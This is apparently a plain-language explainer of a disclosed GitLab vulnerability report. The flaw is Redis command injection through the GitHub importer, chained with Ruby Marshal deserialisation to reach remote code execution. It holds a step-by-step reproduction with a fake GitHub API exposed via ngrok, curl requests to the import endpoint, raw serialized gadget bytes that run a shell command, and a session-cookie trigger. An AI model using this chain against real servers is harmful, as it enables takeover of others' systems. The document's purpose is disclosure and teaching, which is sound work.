ruby ./gen_payload3.rb

ruby runs the script, and ./gen_payload3.rb is the file in the current folder.

Step 4: Put the payload into the fake server

Edit fake_server3.py and update the payload with the generated value. This server impersonates the GitHub API and returns the crafted default_branch object.

Step 5: Expose the fake server

Bash
ngrok http 5000

This exposes a local server through ngrok. Copy the resulting URL. Copy the resulting URL.

Step 6: Point the fake server at its own public URL

Edit fake_server3.py and update the ngrok URL. The report does not explain what this URL is used for inside the script.

Step 7: Start the fake GitHub API

Bash
FLASK_APP=fake_server3.py flask run

FLASK_APP=fake_server3.py tells Flask which file contains the application, and flask run starts it.

Step 8: Trigger the import

Bash
curl --request POST --url "http://gitlab.wbowling.info/api/v4/import/github"  --header "content-type: application/json" --header "PRIVATE-TOKEN: API_TOKEN" --data "{\"personal_access_token\": \"fake_token\",\"repo_id\": \"12345\",\"target_namespace\": \"root\",\"new_name\": \"gh-import-$RANDOM\",\"github_hostname\": \"https://9895-45-248-49-157.ngrok.io\"}"

Line by line:

  • curl is a command-line tool for sending web requests.
  • --request POST sends a POST request, the kind used to submit data.
  • --url "http://gitlab.wbowling.info/api/v4/import/github" is the address of GitLab's import API.
  • --header "content-type: application/json" says the body is JSON.
  • --header "PRIVATE-TOKEN: API_TOKEN" proves who you are; API_TOKEN is a placeholder for a real GitLab token.
  • --data "..." is the body: it names a fake GitHub token, a repository ID, the target namespace, a new project name, and the github_hostname.

Replace gitlab.wbowling.info with your GitLab URL, API_TOKEN with a valid GitLab token, target_namespace with a namespace you have access to, and github_hostname with your ngrok URL. Replace github_hostname with your ngrok URL.

Step 9: Wait for the import to reach the vulnerable call

Wait a minute or so and watch the requests arriving at the Flask app. Once a request for /api/v3/repos/fake/name has been served, that is long enough. At that point there will also be an error in /var/log/gitlab/gitlab-rails/exceptions_json.log about comparison of String with 0 failed.

The error appears in the log with a backtrace running through try_include?, branch_exists? and change_head. The report shows the redis command as it appeared on the wire:

Text
[pid  1362] read(67, "*1\r\n$5\r\nmulti\r\n*3\r\n$9\r\nsismember\r\n$53\r\ncache:gitlab:branch_names:root/gh-import-7316:102:set\r\n$3\r\nggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:jjjj\r\n$330\r\n\4\10[\10c\25Gem::SpecFetcherc\23Gem::InstallerU:\25Gem::Requirement[\6o:\34Gem::Package::TarReader\6:\10@ioo:\24Net::BufferedIO\7;\7o:#Gem::Package::TarReader::Entry\7:\n@readi\0:\f@headerI\"\10aaa\6:\6ET:\22@debug_outputo:\26Net::WriteAdapter\7:\f@socketo:\24Gem::RequestSet\7:\n@setso;\16\7;\17m\vKernel:\17@method_id:\vsystem:\r@git_setI\"\33echo id > /tmp/vakzz22\6;\fT;\22:\fresolve\r\n*2\r\n$6\r\nexists\r\n$53\r\ncache:gitlab:branch_names:root/gh-import-7316:102:set\r\n*1\r\n$4\r\nexec\r\n", 16384) = 570

Reading it as RESP: the client opens a MULTI, then sends SISMEMBER on the branch-names cache set with the value ggg. MULTI starts a transaction, a group of commands that Redis runs together. SISMEMBER asks whether a value is a member of a set. Because the declared length was 3, the rest of the string is parsed as new commands: a SET of session:gitlab:jjjj holding the serialised gadget (whose @git_set is echo id > /tmp/vakzz22), then EXISTS on the same cache set, then EXEC. SET stores a value under a key, EXISTS checks whether a key exists, and EXEC runs the queued transaction. The whole transaction is 570 bytes.

The corresponding error entry in the log is:

This is a structured log entry. severity says it is an error, exception.class is the type of error (ArgumentError), and exception.message is the human-readable text. exception.backtrace is the list of code locations the program was in when it failed, from the innermost call outwards. The backtrace runs from try_include? through branch_exists? and change_head into import_repository, confirming the path described above. The job is Gitlab::GithubImport::Stage::ImportRepositoryWorker, the import type is github, and the root caller is POST /api/:version/import/github.

Step 10: Trigger the deserialisation

Bash
curl -v 'http://gitlab.wbowling.info/root' -H 'Cookie: _gitlab_session=gggg'

Line by line:

  • curl -v sends a request and prints verbose details about it.
  • 'http://gitlab.wbowling.info/root' is any page on the GitLab instance.
  • -H 'Cookie: _gitlab_session=gggg' sends a cookie header claiming the session ID is gggg.

Replace gitlab.wbowling.info with your GitLab URL and gggg with the string used in gen_payload3.rb. Loading the session causes GitLab to read the session:gitlab:gggg key that the injected redis commands wrote, and to Marshal.load its contents, which runs the gadget and therefore the command set at git_set.

Step 11: Confirm execution

The payload should have executed. In the captured redis command the gadget's @git_set was echo id > /tmp/vakzz22. echo id prints the text id, and > redirects that output into the named file.

Root cause

Sawyer builds a Ruby object from the JSON returned by the API, and defines a method for every key, recursively. That includes keys that collide with methods Ruby and the redis gem rely on. GitLab then passes that object, rather than a plain hash, into code that eventually hands it to redis. The redis gem calls to_s to get the value and bytesize to get the length prefix, and both are attacker-controlled, so the length prefix can be made shorter than the string and the surplus is parsed by Redis as additional commands.

The earlier fix for CVE-2022-2884 added validation in Gitlab::Cache::Import::Caching. The default_branch value reaching change_head, branch_exists? and the redis set cache in repository_cache_adapter.rb was another spot where the resource reaches redis. The report's own framing of the bug is that the Sawyer::Resource object is passed around and allows an attacker to override built-in methods.

The report does not state which GitLab version fixed this issue.

Impact

An attacker with the ability to import a GitHub repository can execute arbitrary commands on the GitLab server. In the demonstrated chain the commands are injected into Redis and used to plant a serialised gadget in a session key, which is then deserialised when a request presents the matching _gitlab_session cookie. The report hedges the final step as something that "can be combined" with Marshal.load, and the gadget it cites is one for Ruby 2.x and 3.x, so the RCE depends on a suitable gadget being available in the running Ruby environment.

Fix

Its suggestion for the correct behaviour is that Sawyer::Resource has a to_h method, which could potentially be used to ensure a plain hash is passed around instead of the resource object. to_h converts an object into an ordinary hash, so the special methods disappear. That would stop attacker-supplied keys from overriding methods such as to_s and bytesize before the value reaches redis.

Variants to test

  1. Look for other places where a Sawyer::Resource from an import response reaches redis, a shell, a template or any other sink that calls to_s, bytesize or similar methods. A sink is any place where data finally gets used in a way that can have side effects. A positive result is a crafted key in the API response that changes the value or length seen by the sink.
  2. Repeat the same idea on other importers that use Sawyer or a similar hash-to-object mapper. A positive result is that a nested object in the remote API response survives into a sink without being converted with to_h.
  3. Check whether the earlier Gitlab::Cache::Import::Caching validation covers every caller, not just the one it was written for. A positive result is a second call path that reaches redis with an unvalidated object.
  4. Test other method names that a sink might call on the object, not only to_s and bytesize. A positive result is any overridden method that changes what the sink writes or how much it writes.
  5. Try the same RESP length-mismatch idea against any client that computes a length from one method and writes the value from another. A positive result is extra commands appearing in the stream after the declared value.

Hunting notes

This kind of bug hides where a service parses a third-party API response into objects with dynamic methods and then passes those objects into lower-level clients. Importers, mirroring features, webhook handlers and anything that lets a user point the product at an attacker-controlled host are good places to look. A webhook is a way for one service to notify another by sending it a request when something happens. The github_hostname field in the import request is the signal here: it lets the attacker choose where the API responses come from.

During recon, look for features that accept a remote host or URL and then make server-side API calls to it, and for code paths where the parsed response is cached in Redis or another store. The error comparison of String with 0 failed in the exceptions log, together with a redis SISMEMBER on a cache set, is a strong indicator that a crafted object reached the cache layer.

The report shows a crafted API response, the injected redis commands visible on the wire, the resulting exception in the log, and a deserialisation gadget planted in a session key. That end-to-end evidence, rather than the injection alone, is what establishes remote command execution.

Glossary

  • API: a defined way for two programs to exchange requests and structured answers.
  • Background job: work a website hands to a separate process so the user does not have to wait.
  • Cache: a fast store of data kept so it does not have to be recomputed or refetched.
  • Command injection: when data meant to be harmless text is interpreted as instructions by a program.
  • Cookie: a small piece of text a website asks your browser to keep and send back on later requests.
  • CVE: a public identifier for a known security vulnerability.
  • Deserialisation: turning stored bytes back into a live object in memory.
  • Gadget: existing code that, when unpacked from serialised data, performs an action useful to an attacker.
  • Hash: a collection of key-value pairs in Ruby.
  • JSON: a text format for structured data, made of keys and values.
  • Method: a named action an object can perform.
  • Namespace: a folder-like area in GitLab where projects live.
  • ngrok: a tool that gives a server on your own machine a public web address.
  • Personal access token: a long secret string that acts like a password for an API.
  • RCE (remote code execution): running your own code on someone else's machine.
  • Redis: a very fast in-memory database often used as a cache.
  • RESP: the text protocol Redis uses to understand commands, where $3 means a value of exactly 3 bytes.
  • Serialisation: turning an object in memory into a stream of bytes that can be stored or sent.
  • Session: a logged-in visit to a website, identified by a cookie.
  • Sidekiq: the background-job system GitLab uses.
  • Sink: a place where data finally gets used in a way that can have side effects.
  • Token: a secret string used to prove identity to a service.
  • Transaction (Redis): a group of commands queued with MULTI and run together with EXEC.
  • Webhook: a way for one service to notify another by sending it a request when something happens.

More by vakzz

View all

24 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.